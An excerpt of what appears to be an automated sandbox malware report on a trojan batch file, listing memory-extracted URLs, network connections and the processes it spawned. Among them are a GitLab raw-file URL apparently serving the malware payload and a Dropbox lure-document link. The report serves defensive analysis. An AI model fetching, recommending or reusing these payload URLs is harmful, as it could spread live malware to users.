Source: powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: powershell.exe, 00000012.00000002.3352680055.00000229403E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 0000000D.00000002.2238448127.000001E300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229401B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://collector.prd-278964.gl-product-analytics.com
Source: powershell.exe, 00000012.00000002.3352680055.0000022941C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000012.00000002.3352680055.0000022941C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000012.00000002.3352680055.0000022941C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://customers.gitlab.com
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: svchost.exe, 00000019.00000003.2432312560.000001FA6D71E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000019.00000003.2432312560.000001FA6D6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000012.00000002.3352680055.00000229403E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000012.00000002.3352680055.00000229417CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.0000022940DE2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com
Source: powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/
Source: powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/;
Source: powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/speedscope/index.html
Source: powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/admin/
Source: powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/assets/
Source: powershell.exe, 00000012.00000002.3352680055.00000229401B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip
Source: powershell.exe, 00000012.00000002.3407137368.00000229581D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/fgh8090051/jgh/-/raw/main/fga1812.zip
Source: powershell.exe, 0000000D.00000002.2238448127.000001E300C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.0000022940DE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net
Source: powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env
Source: powershell.exe, 0000000D.00000002.2238448127.000001E3017B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2254781179.000001E3101B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2254781179.000001E310074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3400400303.0000022950225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3400400303.0000022950367000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sentry.gitlab.net
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snowplow.trx.gitlab.net
Source: powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourcegraph.com
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc70263987fbdc807f2c64405811.dl.dropboxusercontent.com/cd/0/get/CghynLncRCxsD1w_kJ7iXmbTCmrH
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E300C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E300232000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2262151033.000001E36CFEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.do
Source: powershell.exe, 0000000D.00000002.2261494488.000001E36CC80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/garmin_campaign_information_for_partners_v11.do
Source: powershell.exe, 0000000D.00000002.2260356546.000001E36CB5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/mfmemsox3eb99r
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js
Source: powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.recaptcha.net/

Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.6:49739 version: TLS 1.2

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD3421446D	13_2_00007FFD3421446D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD34212672	13_2_00007FFD34212672
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD342146F2	13_2_00007FFD342146F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD3421534D	13_2_00007FFD3421534D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD34213BF8	13_2_00007FFD34213BF8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD34216BFB	13_2_00007FFD34216BFB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FFD3422427D	18_2_00007FFD3422427D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FFD34222B12	18_2_00007FFD34222B12
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FFD342234FA	18_2_00007FFD342234FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FFD34223BD8	18_2_00007FFD34223BD8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FFD34222632	18_2_00007FFD34222632

Source: classification engine

Classification label: mal88.troj.evad.winBAT@27/18@2/3

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Desktop\tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1336:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ieiww0yz.t2y.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\slifdgjsidfg19.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\chcp.com

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\slifdgjsidfg19.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I set "C:\Users\user\Desktop\slifdgjsidfg19.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I goto "C:\Users\user\Desktop\slifdgjsidfg19.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I echo "C:\Users\user\Desktop\slifdgjsidfg19.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I pause "C:\Users\user\Desktop\slifdgjsidfg19.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe fInd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
